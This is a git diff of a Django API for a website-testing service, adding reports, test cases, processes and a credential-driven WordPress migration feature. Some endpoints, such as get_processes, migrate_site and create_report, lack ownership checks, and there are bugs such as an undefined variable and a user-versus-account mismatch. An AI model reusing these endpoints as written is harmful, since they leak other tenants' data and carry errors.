kwargs=json.dumps(arguments), ) periodic_task = PeriodicTask.objects.get(id=schedule.periodic_task_id) - elif PeriodicTask.objects.filter(name=task_name).exists(): - data = {'reason': 'Task has already be created',} - record_api_call(request, data, '401') - return Response(data, status=status.HTTP_401_UNAUTHORIZED) else: periodic_task = PeriodicTask.objects.create( crontab=crontab, name=task_name, task=task, @@ -526,11 +1048,23 @@ def create_or_update_schedule(request): ) else: + if PeriodicTask.objects.filter(name=task_name).exists(): + data = {'reason': 'Task has already be created',} + record_api_call(request, data, '401') + return Response(data, status=status.HTTP_401_UNAUTHORIZED) + periodic_task = PeriodicTask.objects.create( crontab=crontab, name=task_name, task=task, kwargs=json.dumps(arguments), ) + extras = { + "configs": configs, + "test_type": test_type, + "scan_type": scan_type, + "case_id": case_id, + "updates": updates + } if schedule: schedule_query = Schedule.objects.filter(id=schedule_id) @@ -539,6 +1073,7 @@ def create_or_update_schedule(request): user=request.user, timezone=timezone, begin_date=begin_date, time=time, frequency=freq, task=task, crontab_id=crontab.id, task_type=task_type, + extras=extras, account=account ) schedule_new = Schedule.objects.get(id=schedule_id) else: @@ -546,7 +1081,9 @@ def create_or_update_schedule(request): user=request.user, site=site, task_type=task_type, timezone=timezone, begin_date=begin_date, time=time, frequency=freq, task=task, crontab_id=crontab.id, - periodic_task_id=periodic_task.id, + periodic_task_id=periodic_task.id, + extras=extras, + account=account ) serializer_context = {'request': request,} @@ -560,15 +1097,21 @@ def create_or_update_schedule(request): def get_schedules(request): user = request.user + account = Member.objects.get(user=user).account schedule_id = request.query_params.get('schedule_id') site_id = request.query_params.get('site_id') if schedule_id != None: - schedule = Schedule.objects.get(id=schedule_id) + try: + schedule = Schedule.objects.get(id=schedule_id) + except: + data = {'reason': 'cannot find a Schedule with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) - if schedule.site.user != user or schedule.user != user: - data = {'reason': 'you cannot retrieve Schedules of a Site you do not own',} + if schedule.site.account != user or schedule.account != account: + data = {'reason': 'retrieve Schedules of a Site you do not own',} record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) @@ -582,19 +1125,12 @@ def get_schedules(request): try: site = Site.objects.get(id=site_id) except: - if site_id != None: - data = {'reason': 'cannot find a site with that id',} - this_status = status.HTTP_404_NOT_FOUND - status_code = '404' - else: - data = {'reason': 'you did not provide the site_id'} - this_status = status.HTTP_400_BAD_REQUEST - status_code = '400' - record_api_call(request, data, status_code) - return Response(data, status=this_status) + data = {'reason': 'cannot find a Site with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) - if site.user != user: - data = {'reason': 'you cannot retrieve Schedules of a Site you do not own',} + if site.account != account: + data = {'reason': 'retrieve Schedules of a Site you do not own',} record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) @@ -612,13 +1148,21 @@ def get_schedules(request): def delete_schedule(request, id): - schedule = Schedule.objects.get(id=id) + + try: + schedule = Schedule.objects.get(id=id) + except: + data = {'reason': 'cannot find a Schedule with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + task = PeriodicTask.objects.get(id=schedule.periodic_task_id) site = schedule.site user = request.user + account = Member.objects.get(user=user).account - if site.user != user: - data = {'reason': 'you cannot delete Schedules you do not own',} + if site.account != account: + data = {'reason': 'delete Schedules you do not own',} record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) @@ -637,6 +1181,8 @@ def delete_schedule(request, id): def create_or_update_automation(request): + user = request.user + account = Member.objects.get(user=user).account account_is_active = check_account(request) if not account_is_active: @@ -645,17 +1191,17 @@ def create_or_update_automation(request): return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED) try: - schedule = Schedule.objects.get(id=request.data['schedule_id']) + schedule = Schedule.objects.get(id=request.data.get('schedule_id')) try: automation = Automation.objects.get(id=schedule.automation.id) - if automation.user != request.user and automation.user != None: - data = {'reason': 'you cannot update a Automation you do not own',} + if automation.account != account and automation.account != None: + data = {'reason': 'update a Automation you do not own',} record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) except: automation = None - if schedule.user != request.user and schedule.user != None: - data = {'reason': 'you cannot create a Automation of a Schedule you do not own',} + if schedule.account != account and schedule.account != None: + data = {'reason': 'create a Automation of a Schedule you do not own',} record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) except: @@ -663,9 +1209,9 @@ def create_or_update_automation(request): automation = None # get data - name = request.data['name'] - expressions = request.data['expressions'] - actions = request.data['actions'] + name = request.data.get('name') + expressions = request.data.get('expressions') + actions = request.data.get('actions') if automation: automation.name = name @@ -677,7 +1223,7 @@ def create_or_update_automation(request): if not automation: automation = Automation.objects.create( name=name, expressions=expressions, actions=actions, - schedule=schedule, user=request.user, + schedule=schedule, user=request.user, account=account ) if schedule: @@ -688,6 +1234,10 @@ def create_or_update_automation(request): arguments = { 'site_id': str(schedule.site.id), 'automation_id': str(automation.id), + 'configs': json.loads(task.kwargs).get('configs', None), + 'type': json.loads(task.kwargs).get('type', None), + 'case_id': json.loads(task.kwargs).get('case_id', None), + 'updates': json.loads(task.kwargs).get('updates', None) } task.kwargs=json.dumps(arguments) task.save() @@ -703,10 +1253,18 @@ def create_or_update_automation(request): def get_automations(request): automation_id = request.query_params.get('automation_id') user = request.user - if automation_id != None: - automation = Automation.objects.get(id=automation_id) - if automation.user != user: - data = {'reason': 'you cannot retrieve an Automation you do not own',} + account = Member.objects.get(user=user).account + + if automation_id != None: + try: + automation = Automation.objects.get(id=automation_id) + except: + data = {'reason': 'cannot find a Automation with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + + if automation.account != account: + data = {'reason': 'retrieve an Automation you do not own',} return Response(data, status=status.HTTP_403_FORBIDDEN) serializer_context = {'request': request,} serialized = AutomationSerializer(automation, context=serializer_context) @@ -726,10 +1284,18 @@ def get_automations(request): def delete_automation(request, id): - automation = Automation.objects.get(id=id) + user = request.user + account = Member.objects.get(user=user).account + + try: + automation = Automation.objects.get(id=id) + except: + data = {'reason': 'cannot find a Automation with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) - if automation.user != request.user: - data = {'reason': 'you cannot delete an automation you do not own',} + if automation.account != account: + data = {'reason': 'delete an automation you do not own',} record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) @@ -743,24 +1309,512 @@ def delete_automation(request, id): -def get_logs(request): - log_id = request.query_params.get('log_id') - request_status = request.query_params.get('status') - request_type = request.query_params.get('request_type') - if log_id != None: - log = Log.objects.get(id=log_id) - if log.user != request.user: - data = {'reason': 'you cannot retrieve Logs you do not own',} - record_api_call(request, data, '403') - return Response(data, status=status.HTTP_403_FORBIDDEN) - - serializer_context = {'request': request,} - serialized = LogSerializer(log, context=serializer_context) - data = serialized.data - record_api_call(request, data, '200') - return Response(data, status=status.HTTP_200_OK) + + + +def create_or_update_report(request): + + user = request.user + account = Member.objects.get(user=user).account + + report_id = request.data.get('report_id', None) + site_id = request.data.get('site_id', None) + report_type = request.data.get('type', ['lighthouse', 'yellowlab']) + text_color = request.data.get('text_color', '#24262d') + background_color = request.data.get('background_color', '#e1effd') + highlight_color = request.data.get('highlight_color', '#4283f8') + site = Site.objects.get(id=site_id) + + info = { + "text_color": text_color, + "background_color": background_color, + "highlight_color": highlight_color, + } + + if report_id: + try: + report = Report.objects.get(id=report_id) + except: + data = {'reason': 'cannot find a Report with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + + if report.account != account: + data = {'reason': 'update a Report you do not own'} + record_api_call(request, data, '403') + return Response(data, status=status.HTTP_403_FORBIDDEN) + + else: + report = Report.objects.create( + user=request.user, site=site, + account=account + ) + + # update report data + report.info = info + report.type = report_type + report.save() + un_cached_report = Report.objects.get(id=report.id) + + + # generate report + updated_report = R(report=un_cached_report).make_test_report() + + + serializer_context = {'request': request,} + data = ReportSerializer(updated_report, context=serializer_context).data + record_api_call(request, data, '201') + response = Response(data, status=status.HTTP_201_CREATED) + return response + + + + + +def get_reports(request): + site_id = request.query_params.get('site_id', None) + report_id = request.query_params.get('report_id', None) + user = request.user + account = Member.objects.get(user=user).account + + if site_id: + try: + site = Site.objects.get(id=site_id) + except: + data = {'reason': 'cannot find a Site with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + reports = Report.objects.filter(site=site, account=account).order_by('-time_created') + + if report_id: + try: + report = Report.objects.get(id=report_id) + except: + data = {'reason': 'cannot find a Report with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + + if site_id is None and report_id is None: + reports = Report.objects.filter(user=request.user).order_by('-time_created') + + paginator = LimitOffsetPagination() + result_page = paginator.paginate_queryset(reports, request) + serializer_context = {'request': request,} + serialized = ReportSerializer(result_page, many=True, context=serializer_context) + response = paginator.get_paginated_response(serialized.data) + record_api_call(request, response.data, '200') + return response + + + + + +def delete_report(request, id): + user = request.user + account = Member.objects.get(user=user).account + + try: + report = Report.objects.get(id=id) + except: + data = {'reason': 'cannot find a Report with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + + if report.account != account: + data = {'reason': 'delete Reports you do not own',} + record_api_call(request, data, '403') + return Response(data, status=status.HTTP_403_FORBIDDEN) + + # remove s3 objects + delete_report_s3_bg.delay(report_id=id) + + # remove report + report.delete() + + data = {'message': 'Report has been deleted',} + record_api_call(request, data, '200') + response = Response(data, status=status.HTTP_200_OK) + return response + + + + +def get_processes(request): + site_id = request.query_params.get('site_id', None) + process_id = request.query_params.get('process_id', None) + + if site_id: + try: + site = Site.objects.get(id=site_id) + except: + data = {'reason': 'cannot find a Site with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + processes = Process.objects.filter(site=site).order_by('-time_created') + + if process_id: + try: + process = Process.objects.get(id=process_id) + serializer_context = {'request': request,} + data = ProcessSerializer(process, context=serializer_context).data + record_api_call(request, data, '200') + response = Response(data, status=status.HTTP_200_OK) + return response + except: + data = {'reason': 'cannot find a Process with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + + if site_id is None and report_id is None: + processes = Process.objects.all().order_by('-time_created') + + paginator = LimitOffsetPagination() + result_page = paginator.paginate_queryset(processes, request) + serializer_context = {'request': request,} + serialized = ProcessSerializer(result_page, many=True, context=serializer_context) + response = paginator.get_paginated_response(serialized.data) + record_api_call(request, response.data, '200') + return response + + + + + + + + + + + + + +def create_or_update_case(request): + case_id = request.data.get('case_id') + steps = request.data.get('steps') + name = request.data.get('name') + tags = request.data.get('tags') + user = request.user + account = Member.objects.get(user=user).account + + account_is_active = check_account(request) + if not account_is_active: + data = {'reason': 'account not funded',} + record_api_call(request, data, '402') + return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED) + + if case_id: + try: + case = Case.objects.get(id=case_id) + except: + data = {'reason': 'cannot find a Case with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + + if case.account != account: + data = {'reason': 'retrieve Cases you do not own',} + record_api_call(request, data, '403') + return Response(data, status=status.HTTP_403_FORBIDDEN) + else: + case.steps = steps + case.name = name + case.tags = tags + case.save() + + else: + case = Case.objects.create( + user = request.user, + name = name, + tags = tags, + steps = steps, + account = account + ) + + + serializer_context = {'request': request,} + data = CaseSerializer(case, context=serializer_context).data + record_api_call(request, data, '201') + response = Response(data, status=status.HTTP_201_CREATED) + return response + + + + +def get_cases(request): + case_id = request.query_params.get('case_id') + user = request.user + account = Member.objects.get(user=user).account + + if case_id != None: + try: + case = Case.objects.get(id=case_id) + except: + data = {'reason': 'cannot find a Case with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + + if case.account != account: + data = {'reason': 'retrieve an Case you do not own',} + return Response(data, status=status.HTTP_403_FORBIDDEN) + + serializer_context = {'request': request,} + serialized = CaseSerializer(case, context=serializer_context) + data = serialized.data + record_api_call(request, data, '200') + return Response(data, status=status.HTTP_200_OK) + + cases = Case.objects.filter(account=account).order_by('-time_created') + paginator = LimitOffsetPagination() + result_page = paginator.paginate_queryset(cases, request) + serializer_context = {'request': request,} + serialized = CaseSerializer(result_page, many=True, context=serializer_context) + response = paginator.get_paginated_response(serialized.data) + record_api_call(request, response.data, '200') + return response + + + + +def search_cases(request): + user = request.user + account = Member.objects.get(user=user).account + query = request.query_params.get('query') + cases = Case.objects.filter(account=account, name__icontains=query).order_by('-time_created') + paginator = LimitOffsetPagination() + result_page = paginator.paginate_queryset(cases, request) + serializer_context = {'request': request,} + serialized = CaseSerializer(result_page, many=True, context=serializer_context) + response = paginator.get_paginated_response(serialized.data) + record_api_call(request, response.data, '200') + return response + + + +def delete_case(request, id): + user = request.user + account = Member.objects.get(user=user).account + + try: + case = Case.objects.get(id=id) + except: + data = {'reason': 'cannot find a Case with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + + if case.account != account: + data = {'reason': 'delete an Case you do not own',} + record_api_call(request, data, '403') + return Response(data, status=status.HTTP_403_FORBIDDEN) + + case.delete() + + data = {'message': 'Case has been deleted',} + record_api_call(request, data, '200') + response = Response(data, status=status.HTTP_200_OK) + return response + + + + + + + + +def create_testcase(request, delay=False): + case_id = request.data.get('case_id') + site_id = request.data.get('site_id') + updates = request.data.get('updates') + configs = request.data.get('configs') + user = request.user + account = Member.objects.get(user=user).account + + + account_is_active = check_account(request) + if not account_is_active: + data = {'reason': 'account not funded',} + record_api_call(request, data, '402') + return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED) + + if case_id and site_id: + try: + case = Case.objects.get(id=case_id, account=account) + except: + data = {'reason': 'cannot find a Case with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + + try: + site = Site.objects.get(id=site_id, account=account) + except: + data = {'reason': 'cannot find a Site with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + + else: + data = {'reason': 'you must provide both site_id and case_id'} + record_api_call(request, data, '409') + return Response(data, status=status.HTTP_409_CONFLICT) + + steps = case.steps + for step in steps: + if step['action']['type'] != None: + step['action']['time_created'] = None + step['action']['time_completed'] = None + step['action']['exception'] = None + step['action']['passed'] = None + + if step['assertion']['type'] != None: + step['assertion']['time_created'] = None + step['assertion']['time_completed'] = None + step['assertion']['exception'] = None + step['assertion']['passed'] = None + + if updates != None: + for update in updates: + steps[int(update['index'])]['action']['value'] = update['value'] + + if configs is None: + configs = { + 'window_size': '1920,1080', + 'device': 'desktop', + 'interval': 5, + 'min_wait_time': 10, + 'max_wait_time': 30, + } + + testcase = Testcase.objects.create( + case = case, + case_name = case.name, + site = site, + user = request.user, + configs = configs, + steps = steps, + account = account + ) + + if delay: + # pass the newly created Testcase to the backgroud task to run + create_testcase_bg.delay(testcase_id=testcase.id) + else: + # running testcase + asyncio.run( + Caser(testcase=testcase).run() + ) + testcase = Testcase.objects.get(id=testcase.id) + + serializer_context = {'request': request,} + data = TestcaseSerializer(testcase, context=serializer_context).data + record_api_call(request, data, '201') + response = Response(data, status=status.HTTP_201_CREATED) + return response + + + + +def get_testcases(request): + testcase_id = request.query_params.get('testcase_id') + site_id = request.query_params.get('site_id') + lean = request.query_params.get('lean') + user = request.user + account = Member.objects.get(user=user).account + + if testcase_id != None: + try: + testcase = Testcase.objects.get(id=testcase_id) + except: + data = {'reason': 'cannot find a Testcase with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + + if testcase.account != account: + data = {'reason': 'retrieve an Testcase you do not own',} + return Response(data, status=status.HTTP_403_FORBIDDEN) + + serializer_context = {'request': request,} + serialized = TestcaseSerializer(testcase, context=serializer_context) + data = serialized.data + record_api_call(request, data, '200') + return Response(data, status=status.HTTP_200_OK) + + if site_id != None: + try: + site = Site.objects.get(id=site_id, account=account) + except: + data = {'reason': 'cannot find a Site with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + testcases = Testcase.objects.filter(site=site).order_by('-time_created') + + else: + testcases = Testcase.objects.filter(account=account).order_by('-time_created') + + paginator = LimitOffsetPagination() + result_page = paginator.paginate_queryset(testcases, request) + serializer_context = {'request': request,} + serialized = TestcaseSerializer(result_page, many=True, context=serializer_context) + if lean is not None: + serialized = SmallTestcaseSerializer(result_page, many=True, context=serializer_context) + response = paginator.get_paginated_response(serialized.data) + record_api_call(request, response.data, '200') + return response + + + +def delete_testcase(request, id): + user = request.user + account = Member.objects.get(user=user).account + + try: + testcase = Testcase.objects.get(id=id) + except: + data = {'reason': 'cannot find a Testcase with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + + if testcase.account != account: + data = {'reason': 'delete an Testcase you do not own',} + record_api_call(request, data, '403') + return Response(data, status=status.HTTP_403_FORBIDDEN) + + # remove s3 objects + delete_testcase_s3_bg.delay(testcase_id=id) + + testcase.delete() + + data = {'message': 'Testcase has been deleted',} + record_api_call(request, data, '200') + response = Response(data, status=status.HTTP_200_OK) + return response + + + + + + + + + + + +def get_logs(request): + + log_id = request.query_params.get('log_id') + request_status = request.query_params.get('status') + request_type = request.query_params.get('request_type') + + if log_id != None: + log = Log.objects.get(id=log_id) + if log.user != request.user: + data = {'reason': 'retrieve Logs you do not own',} + record_api_call(request, data, '403') + return Response(data, status=status.HTTP_403_FORBIDDEN) + + serializer_context = {'request': request,} + serialized = LogSerializer(log, context=serializer_context) + data = serialized.data + record_api_call(request, data, '200') + return Response(data, status=status.HTTP_200_OK) if request_status != None and request_type != None: logs = Log.objects.filter(status=request_status, request_type=request_type, user=request.user).order_by('-time_created') @@ -781,8 +1835,178 @@ def get_logs(request): + + + + +def migrate_site(request, delay=False): + login_url = request.data.get('login_url', None) + admin_url = request.data.get('admin_url', None) + plugin_name = request.data.get('plugin_name', 'Cloudways WordPress Migrator') + username = request.data.get('username', None) + password = request.data.get('password', None) + site_id = request.data.get('site_id', None) + email_address = request.data.get('email_address', None) + destination_url = request.data.get('destination_url', None) + sftp_address = request.data.get('sftp_address', None) + dbname = request.data.get('dbname', None) + sftp_username = request.data.get('sftp_username', None) + sftp_password = request.data.get('sftp_password', None) + wait_time = request.data.get('wait_time', 30) + driver = request.data.get('driver', 'puppeteer') + + site = Site.objects.get(id=site_id) + process = Process.objects.create( + site=site, + type='migration' + ) + process_id = process.id + + if delay: + migrate_site_bg.delay( + login_url, + admin_url, + username, + password, + email_address, + destination_url, + sftp_address, + dbname, + sftp_username, + sftp_password, + plugin_name, + wait_time, + process_id, + driver + ) + + serializer_context = {'request': request,} + data = ProcessSerializer(process, context=serializer_context).data + record_api_call(request, data, '201') + response = Response(data, status=status.HTTP_201_CREATED) + return response + + + + if driver == 'selenium': + + # init wordpress + wp = W( + login_url=login_url, + admin_url=admin_url, + username=username, + password=password, + email_address=email_address, + destination_url=destination_url, + sftp_address=sftp_address, + dbname=dbname, + sftp_username=sftp_username, + sftp_password=sftp_password, + wait_time=wait_time, + process_id=process.id + ) + + # login + wp_status = wp.login() + + # adjust lang + wp_status = wp.begin_lang_check() + + # install plugin + wp_status = wp.install_plugin(plugin_name=plugin_name) + + # launch migration + wp_status = wp.launch_migration() + + # run migration + wp_status = wp.run_migration() + + # re adjust lang + # wp_status = wp.end_lang_check() + + if wp_status: + data = { + 'status': 'success', + 'message': 'site migration succeeded' + } + else: + data = { + 'status': 'failed', + 'message': 'site migration failed' + } + + response = Response(data, status=status.HTTP_200_OK) + record_api_call(request, data, '200') + return response + + else: + + # init wordpress for puppeteer + wp_status = asyncio.run( + W_P( + login_url=login_url, + admin_url=admin_url, + username=username, + password=password, + wait_time=wait_time, + ).run_full(plugin_name=plugin_name) + ) + + if wp_status: + data = { + 'status': 'success', + 'message': 'site migration succeeded' + } + else: + data = { + 'status': 'failed', + 'message': 'site migration failed' + } + + response = Response(data, status=status.HTTP_200_OK) + record_api_call(request, data, '200') + return response + + + + + + + + + + +def create_site_screenshot(request): + user = request.user + site_id = request.data.get('site_id', None) + url = request.data.get('url', None) + configs = request.data.get('configs', None) + site = None + + if site_id is not None: + site = Site.objects.get(id=site_id) + + if configs is not None: + if configs['driver'] == 'puppeteer': + data = asyncio.run(I().screenshot_p(site=site, url=url, configs=configs)) + elif configs['driver'] == 'selenium': + data = I().screenshot(site=site, url=url, configs=configs) + else: + data = I().screenshot(site=site, url=url, configs=configs) + record_api_call(request, data, '201') + response = Response(data, status=status.HTTP_201_CREATED) + return response + + + + + + + def get_home_stats(request): - sites = Site.objects.filter(user=request.user) + user = request.user + account = Member.objects.get(user=user).account + sites = Site.objects.filter(account=account) site_count = sites.count() test_count = 0 scan_count = 0 diff --git a/app/api/v1/ops/tasks.py b/app/api/v1/ops/tasks.py index 5315a86a..8dc20b9e 100644 --- a/app/api/v1/ops/tasks.py +++ b/app/api/v1/ops/tasks.py @@ -1,38 +1,360 @@ -from ...models import (Test, Site, Scan, Log) -from ...scan_tests.scan_site import ScanSite -from ...scan_tests.tester import Test as T -from ...scan_tests.automations import automation +from ...models import * +from ...utils.scanner import Scanner as S +from ...utils.tester import Tester as T +from ...utils.reporter import Reporter as R +from ...utils.wordpress import Wordpress as W +from ...utils.wordpress_p import Wordpress as W_P +from ...utils.automations import automation +from ...utils.caser import Caser +import boto3, asyncio +from scanerr import settings +from ...utils.scanner import ( + _html_and_logs, _vrt, _lighthouse, + _yellowlab +) -def create_site_task(site_id): + +def create_site_task(site_id, scan_id, configs): site = Site.objects.get(id=site_id) - ScanSite(site=site).first_scan() + scan = Scan.objects.get(id=scan_id) + S(site=site, scan=scan, configs=configs).first_scan() return site -def create_scan_task(site_id, automation_id=None): - site = Site.objects.get(id=site_id) - created_scan = Scan.objects.create(site=site) - scan = ScanSite(scan=created_scan).first_scan() +def create_scan_task( + scan_id=None, + site_id=None, + type=['full'], + automation_id=None, + configs=None, + tags=None, + ): + if scan_id is not None: + created_scan = Scan.objects.get(id=scan_id) + elif site_id is not None: + site = Site.objects.get(id=site_id) + created_scan = Scan.objects.create( + site=site, + type=type, + configs=configs, + tags=tags, + ) + scan = S(scan=created_scan, configs=configs).first_scan() if automation_id: automation(automation_id, scan.id) return scan -def create_test_task(site_id, automation_id=None): - site = Site.objects.get(id=site_id) - created_test = Test.objects.create(site=site) - new_scan = ScanSite(site=site) - post_scan = new_scan.second_scan() - pre_scan = post_scan.paired_scan + + + +def run_html_and_logs_task(scan_id=None): + scan = _html_and_logs(scan_id) + return scan + +def run_vrt_task(scan_id=None): + scan = _vrt(scan_id) + return scan + +def run_lighthouse_task(scan_id=None): + scan = _lighthouse(scan_id) + return scan + +def run_yellowlab_task(scan_id=None): + scan = _yellowlab(scan_id) + return scan + + + + + +def create_test_task( + test_id=None, + site_id=None, + automation_id=None, + configs=None, + type=['full'], + index=None, + pre_scan=None, + post_scan=None, + tags=None, + ): + + if test_id is not None: + created_test = Test.objects.get(id=test_id) + site = created_test.site + elif site_id is not None: + site = Site.objects.get(id=site_id) + created_test = Test.objects.create( + site=site, + type=type, + tags=tags, + ) + + if pre_scan is not None: + pre_scan = Scan.objects.get(id=pre_scan) + if post_scan is not None: + post_scan = Scan.objects.get(id=post_scan) + + if post_scan is None and pre_scan is not None: + post_scan = S(site=site, scan=pre_scan, configs=configs, type=type).second_scan() + + if pre_scan is None and post_scan is None: + new_scan = S(site=site, configs=configs, type=type) + post_scan = new_scan.second_scan() + pre_scan = post_scan.paired_scan + + # updating parired scans pre_scan.paired_scan = post_scan + post_scan.paried_scan = pre_scan pre_scan.save() + post_scan.save() + + # updating test object + created_test.type = type created_test.pre_scan = pre_scan created_test.post_scan = post_scan created_test.save() - test = T(test=created_test).run_full_test() + + + test = T(test=created_test).run_test(index=index) if automation_id: automation(automation_id, test.id) return test + + +def create_report_task(site_id, automation_id=None): + site = Site.objects.get(id=site_id) + if Report.objects.filter(site=site).exists(): + report = Report.objects.filter(site=site).order_by('-time_created')[0] + else: + info = { + "text_color": '#24262d', + "background_color": '#e1effd', + "highlight_color": '#ffffff', + } + report = Report.objects.create( + user=site.user, + site=site, + info=info, + type=['lighthouse', 'yellowlab'] + ) + + + report = R(report=report).make_test_report() + if automation_id: + automation(automation_id, report.id) + return report + + + + + + +def delete_site_s3(site_id): + # setup boto3 configurations + s3 = boto3.resource('s3', + aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) + ) + + # deleting s3 objects + try: + bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME) + bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/')).delete() + except: + pass + + return + + + + +def delete_testcase_s3(testcase_id): + # setup boto3 configurations + s3 = boto3.resource('s3', + aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) + ) + + # deleting s3 objects + try: + bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME) + bucket.objects.filter(Prefix=str(f'static/testcase/{testcase_id}/')).delete() + except: + pass + + return + + + + + +def delete_report_s3(report_id): + # setup boto3 configurations + s3 = boto3.resource('s3', + aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) + ) + + # get site + site = Report.objects.get(id=report_id).site + + # deleting s3 objects + bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME) + bucket.objects.filter(Prefix=str(f'static/sites/{site.id}/{report_id}.pdf')).delete() + + return + + + + +def create_testcase_task( + testcase_id=None, + site_id=None, + case_id=None, + updates=None, + configs=None, + automation_id=None + ): + + if testcase_id != None: + testcase = Testcase.objects.get(id=testcase_id) + + else: + case = Case.objects.get(id=case_id) + site = Site.objects.get(id=site_id) + steps = case.steps + for step in steps: + if step['action']['type'] != None: + step['action']['time_created'] = None + step['action']['time_completed'] = None + step['action']['exception'] = None + step['action']['passed'] = None + + if step['assertion']['type'] != None: + step['assertion']['time_created'] = None + step['assertion']['time_completed'] = None + step['assertion']['exception'] = None + step['assertion']['passed'] = None + + if updates != None: + for update in updates: + steps[int(update['index'])]['action']['value'] = update['value'] + + if configs is None: + configs = { + 'window_size': '1920,1080', + 'device': 'desktop', + 'interval': 5, + 'min_wait_time': 10, + 'max_wait_time': 30, + } + + testcase = Testcase.objects.create( + case = case, + case_name = case.name, + site = site, + user = site.user, + configs = configs, + steps = steps + ) + + + # running testcase + testresult = asyncio.run( + Caser(testcase=testcase).run() + ) + + if automation_id: + automation(automation_id, testcase.id) + + return + + + + +def migrate_site_task( + login_url, + admin_url, + username, + password, + email_address, + destination_url, + sftp_address, + dbname, + sftp_username, + sftp_password, + plugin_name, + wait_time, + process_id, + driver, + + ): + + if driver == 'selenium': + # init wordpress + wp = W( + login_url=login_url, + admin_url=admin_url, + username=username, + password=password, + email_address=email_address, + destination_url=destination_url, + sftp_address=sftp_address, + dbname=dbname, + sftp_username=sftp_username, + sftp_password=sftp_password, + wait_time=wait_time, + process_id=process_id, + + ) + + # login + wp_status = wp.login() + # adjust lang + wp_status = wp.begin_lang_check() + # install plugin + wp_status = wp.install_plugin(plugin_name=plugin_name) + # launch migration + wp_status = wp.launch_migration() + # run migration + wp_status = wp.run_migration() + # re adjust lang + # wp_status = wp.end_lang_check() + + else: + # init wordpress for puppeteer + wp_status = asyncio.run( + W_P( + login_url=login_url, + admin_url=admin_url, + username=username, + password=password, + email_address=email_address, + destination_url=destination_url, + sftp_address=sftp_address, + dbname=dbname, + sftp_username=sftp_username, + sftp_password=sftp_password, + wait_time=wait_time, + process_id=process_id, + ).run_full(plugin_name=plugin_name) + ) + + return + + + + + + \ No newline at end of file diff --git a/app/api/v1/ops/urls.py b/app/api/v1/ops/urls.py index 243f95b2..f0d0f7ab 100644 --- a/app/api/v1/ops/urls.py +++ b/app/api/v1/ops/urls.py @@ -6,17 +6,35 @@ path('site', views.Sites.as_view(), name='site'), path('site/', views.SiteDetail.as_view(), name='site-detail'), path('site/delay', views.SiteDelay.as_view(), name='site-delay'), + path('sites/delete', views.SitesDelete.as_view(), name='sites-delete'), path('scan', views.Scans.as_view(), name='scan'), path('scan/', views.ScanDetail.as_view(), name='scan-detail'), + path('scan//lean', views.ScanLean.as_view(), name='scan-lean'), path('scan/delay', views.ScanDelay.as_view(), name='scan-delay'), + path('scans/delete', views.ScansDelete.as_view(), name='scans-delete'), path('test', views.Tests.as_view(), name='test'), path('test/', views.TestDetail.as_view(), name='test-detail'), + path('test//lean', views.TestLean.as_view(), name='test-lean'), path('test/delay', views.TestDelay.as_view(), name='test-delay'), + path('tests/delete', views.TestsDelete.as_view(), name='tests-delete'), path('log', views.Logs.as_view(), name='log'), path('log/', views.LogDetail.as_view(), name='log-detail'), path('schedule', views.Schedules.as_view(), name='schedule'), path('schedule/', views.ScheduleDetail.as_view(), name='schedule-detail'), path('automation', views.Automations.as_view(), name='automation'), path('automation/', views.AutomationDetail.as_view(), name='automation-detail'), + path('report', views.Reports.as_view(), name='report'), + path('report/', views.ReportDetail.as_view(), name='report-detail'), path('home-stats', views.HomeStats.as_view(), name='home-stats'), + path('process', views.Processes.as_view(), name='process'), + 